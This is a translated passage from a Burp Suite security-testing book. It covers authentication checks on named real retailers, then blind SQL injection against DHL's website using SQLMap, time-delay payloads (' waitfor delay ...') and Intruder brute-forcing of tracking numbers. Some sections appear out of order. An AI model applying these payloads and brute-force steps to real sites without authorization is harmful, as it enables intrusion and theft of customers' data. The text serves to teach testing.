我们将在本章中涵盖以下主题:
-
关于身份验证的事项
-
大型在线零售商
-
执行信息收集
关于身份验证的事项
正如你在第七章中所记得的,使用 Burp Suite 检测漏洞,影响身份验证控制的问题如下:
-
凭证的弱存储
-
可预测的登录凭证
-
会话 ID 暴露在 URL 中
-
会话 ID 容易受到会话固定攻击的影响
-
错误的超时实现
-
会话在注销后没有被销毁
-
通过不安全的通道发送敏感信息
现在,使用 Burp Suite,我们将分析所有这些。
大型在线零售商
在线零售商的列表很长,但以下是一些较受欢迎的:
-
eBay(所有地区变体)
-
Mercado Libre
-
亚马逊
我们将以其中一个作为例子进行分析。请记住,本章中使用的所有信息都是公开的;我们不会公开这些应用程序的任何公开或私人漏洞,解释也不会影响应用程序的功能。
执行信息收集
我们将开始收集有关目标的信息。检测特定应用程序中使用的技术以及确定潜在的安全问题的最基本方法是首先浏览整个应用程序,使用正常流程,检测并记录应用程序的每个入口点,并将我们感兴趣的不同 URL 添加到目标工具中的范围选项中。
端口扫描
在真实的评估中,评估应用的人或公司与应用的所有者之间建立了一项协议。这是检测服务所涉及的第一步。
通常使用 Nmap(nmap.org/
)来执行此任务,这是一个用于检测远程主机上运行的端口和服务的命令行工具。使用 Nmap 并不复杂;你只需在命令行上输入nmap
,就可以看到我们有哪些不同的选项,如下面的屏幕截图所示:
要对主机执行标准扫描,我们可以使用以下命令:
nmap -vv -sV -O -Pn -p0-65535 -oA nmap_[IP] ...
身份验证方法分析
你应该逐个分析应用程序的问题,以确定它是否容易受到攻击,就像下面的章节中所解释的那样。
凭证的弱存储
应用程序以加密的方式存储会话 ID,因此不容易被提取。此外,会话 ID 与一个以上的令牌结合,cookie 也受到保护,如下面的屏幕截图所示:
发现盲目 SQL 注入
我们将要分析的 URL 是www.dhl.com。这是国际页面,但如果你查看地区网站,它们是相似的,所以可能一个网站的漏洞会复制到其他网站。这经常发生在许多在不同国家有业务的公司。有时候公司在不同国家有不同的代表,但是网站应用是一样的。
为了确定dhl.com是否存在 SQL 注入,我们将进行三种不同的分析:
-
自动扫描
-
SQLMap 检测
-
入侵检测
可预测的登录凭证
用户使用用户名或电子邮件登录应用程序,因此凭证是不可预测的。
会话 ID 暴露在 URL 中
通过查看历史工具,我们可以看到 URL 中暴露了一些令牌和会话,如下所示:
然而,该应用程序并不仅仅使用一个令牌,因此仅有一个令牌是没有用的。实际上,在 URL 中发送的令牌之一是一个请求跟踪器,如下截图所示:
结论是,尽管 URL 中暴露了令牌,但它们是不可利用的。
会话 ID 容易受到会话固定攻击的影响
-
以正常方式在浏览器中打开用户会话。
-
然后,为完全不同的用户打开另一个会话。
-
现在,使用代理工具拦截一个请求,并修改用户信息以尝试访问第二个用户的信息,如下所示:
当您打开www.mercadolibre.com.mx/
网页时,您会注意到应用程序显示了用户的第一条信息。因此,它不容易受到会话固定攻击。
注销后会话并没有被销毁。
使用注销选项关闭会话,然后转到历史记录,查找用户登录时进行的请求。右键单击发送到重复器,然后在不修改任何值的情况下,单击Go重新发送请求,如下所示:
结果是应用程序显示出未登录用户的状态。因此,该应用程序不容易受到攻击。
由于我们使用了一个墨西哥的网站进行身份验证,所以截图中的一些文本是西班牙语。
通过不受保护的通道发送的敏感信息
仅使用被动扫描,也就是没有侵略性的操作,Burp Suite 就检测到用户可以强制应用程序在不受保护的通道中使用。这意味着用户可以强制使用 HTTP 协议而不是 HTTPS 协议,并以明文发送信息。这可能会被恶意用户利用,结合其他漏洞来窃取用户信息,如下例所示:
这个漏洞得到了确认。
总结
在本章中,我们展示了对一个真实应用程序的分析。执行的任务包括协议和服务检测、请求和提交分析以及漏洞检测。
在下一章中,我们将使用最流行的快递公司之一:DHL,执行与本章讨论的相同活动。
第十二章:从大型航运公司中利用和外泄数据
所有公司、企业和行业都使用技术,以及他们使用技术的方式是不同的。对于零售商来说,他们的网站应用程序与在线银行应用程序不同,零售商的网站有着持续服务和高性能等优先事项,而在线银行应用程序需要高度安全。当然,所有这些应用程序都有共同点,但是由于不可能应用所有的控制,最重要的是优先考虑真正的需求。
在本章中,我们将讨论另一个场景,一个航运公司。我们将执行与过去示例中相同的活动,但这次使用最受欢迎的航运公司之一:DHL。
我们将涵盖...
自动扫描
检测 SQL 注入等漏洞的最简单方法是使用 Burp Suite 的扫描器:
- 要启动扫描,打开 Burp Suite,转到主仪表板,然后单击新扫描:
有一个我们之前没有探索的选项,用于在扫描期间控制范围。想象一下,您的范围不是整个 DHL 网站——只是www.dhl.com,但还有其他应用程序,比如mydhl.dhl.com和intranet.dhl.com,等等。
- 为了避免这种情况,Burp Suite 可以扫描这些其他应用程序;点击详细范围配置。在这里,我们将看到两个名为包括前缀选项和排除前缀选项的选项卡。转到第二个选项卡,排除前缀选项,并输入我们不想测试的应用程序,如下所示:
正如我们在前面的屏幕截图中所看到的,不需要添加所有的 URL。
- 如果我们想对范围进行更精确的选择,我们可以选择单个 URL,并通过单击使用高级范围控制,在范围中添加我们想要测试或不想测试的每个 URL,如下所示:
Burp Suite 的扫描器为我们提供了更多控制扫描的选项。
-
点击扫描配置。在这里,您可以配置有关扫描器如何执行应用程序发现以及如何执行安全测试的选项。
-
点击添加新的,Burp Suite 将启动一个新窗口,可以在其中创建一个新规则,如下所示:
-
在审计优化中,我们可以定义评估的速度。我建议选择低速。这是为了避免入侵检测系统、负载均衡器和其他可能阻止扫描器的安全和网络设备。如果您在一个 QA 环境中进行测试,在这种环境中,您可以完全控制并直接访问应用程序服务器,而没有任何网络安全控制,您可以选择快速。
-
下一部分,报告的问题,是用于选择扫描策略。Burp Suite 默认情况下已经按类别划分了可能的问题。但是,您也可以按类型选择。例如,对于这个练习,我们只选择 SQL 注入漏洞。这对于修复或验证错误非常有用,例如:
-
在测试期间处理应用程序错误选项卡中,可以配置 Burp Suite 在检测到错误时采取的操作。这些选项可以帮助我们在必要时停止扫描。例如,目前通常有一些应用程序托管在云服务中。云服务非常擅长阻止扫描活动,因此很可能如果我们正在测试托管在云中的网站,在测试几分钟后,我们的 IP 地址将被阻止,Burp Suite 只会收到超时错误。我们可以在出现这种类型的错误时停止扫描。
-
在插入点类型中,可以定义要注入测试字符串的位置。例如,您可以将测试限制在 URL 参数、cookies 等。根据我的经验,最好测试所有可能的入口点。
-
忽略插入点是一个有趣的选项,当我们想要限制应用程序生成的噪音或者减少测试数量时,这个选项可能会很有用。
您还记得在 Intruder 中可以选择要测试的参数吗?嗯,这与那个类似。如果我们有跟踪令牌或会话 ID 存储在变量中,那么测试它并不是一个好主意,因此我们可以使用这个选项来跳出范围:
配置选项后,点击“保存”,然后点击“确定”开始扫描。如果您认为这可能是一个需要应用并且将需要更多类型的应用程序的策略,您可以将其保存为库并重复使用。扫描结果将显示在右侧部分。
SQLMap 检测
现在,我们将使用 SQLMap 来检测和利用 DHL 网站中的 SQL 注入。
寻找入口点
DHL 应用程序看起来是这样的:
我们可以立即看到不同的输入要测试,例如搜索栏和跟踪框,但是看一下以下请求:
在这个请求中,我们可以看到一些变量,但要确定哪些可以用作注入点,我们需要分析它们的行为,如下所示:
-
brand
:看起来应用程序支持一些公司,所以也许“DHL”是目录的一部分,可能容易受到注入攻击。 -
AWB
:这个变量是一个跟踪号码,用于查找包裹的位置。很明显这是一个很好的入口点。 -
AWBS_crossrefpar1_taskcenter_taskcentertabs_item1229046233349_par_expandablelink_insideparsys_fasttrack
:它看起来也像是一个 ID,所以可能是一个注入点。
减少要测试的点很重要,因为在一个生产应用程序中,测试越多,产生的噪音就越多。
使用 SQLMap
使用鼠标的辅助按钮,点击“发送到 SQLMapper”,如下所示:
要限制要测试的参数,转到“注入”选项卡,输入参数,用逗号分隔,然后点击“运行”按钮。
SQLMap 将被启动,如果这些参数中有任何一个是有漏洞的,SQLMap 将检测并利用注入。当 SQLMap 检测到您正在利用盲目的 SQL 注入时,它会要求您继续。只需按Y。
Intruder 检测
使用手动请求来检测 SQL 注入也是一个选项。我建议在审查应用程序时进行,而没有成功检测到漏洞。
首先,我们要检测入口点,就像我们在前一节中审查的那样。要检测与盲目 SQL 注入相关的易受攻击的点,您可以使用以下测试字符串:
' waitfor delay '0:0:30'—
我们还可以使用它在 DBMS 中的对应项。但是为什么要这样做呢?嗯,您可能记得,盲目 SQL 注入最重要的特征是它们不会直接向用户返回错误或输出。因此,通过使用这个字符串,我们期待看到响应的延迟:
- 为了覆盖更多的参数,我们需要 Intruder 工具。对参数行为进行相同的分析,以确定哪个请求可能容易受到攻击,并使用鼠标的辅助按钮,点击“发送到 Intruder”,如下所示:
- 在 Intruder 中,为了快速测试,将延迟查询添加为唯一的有效负载,然后启动到所有参数,如下所示:
- 回到“位置”选项卡,点击“开始攻击”。如果你认为已经发现了可能的漏洞,右键点击请求,选择“发送到重复器”。一旦进入重复器,修改测试字符串以增加延迟时间,如下所示:
' waitfor delay '0:0:10'—
' waitfor delay '0:0:20'—
' waitfor delay '0:0:30'—
' waitfor delay '0:0:40'—
' waitfor delay '0:0:50'—
' waitfor delay '0:0:59'—
这个想法是确定何时使用时间来接收响应,以确定漏洞是否真实存在。
可以使用 Burp Suite Collaborator。在这些情况下使用它是一个很好的技巧,因为 Collaborator 是一个外部实体,作为接收器与数据库交互,如下截图所示:
利用
一旦你发现了一个有漏洞的变量,在入侵工具中用通配符标记它。
想象一下,你想要在运输网站上知道一个包裹的追踪号码。点击“有效载荷”选项卡,选择“数字”选项作为有效载荷类型。我们需要注入一系列数字,从 0000000000 到 9999999999,依次注入,如下所示:
由于无法转储存储在数据库中的寄存器,我们将使用布尔值来找到追踪号码。通过我们的入侵攻击发送一个使用正确追踪号码的请求;应用程序将返回一个True
值作为响应:
为了方便检测,...
总结
在这最后一章中,我们回顾了其他可以用来评估应用程序的场景。在这一章中,我们寻找了 SQL 注入,并利用了其中的一种方法。
对于应用程序安全评估,我建议避免手动利用方法,因为我们将有更少的时间来使用它们。当使用其他方法无法找到漏洞时,它们是有用的。
在这一章中,你学会了如何分析请求中参数的行为,以推断可能存在漏洞并减少时间分析。之后,我们使用 Burp Suite 的扫描器、SQLMap 和入侵工具来检测盲目 SQL 注入漏洞。最后,我们学会了如何使用入侵工具猜测追踪号码来利用盲目 SQL 注入。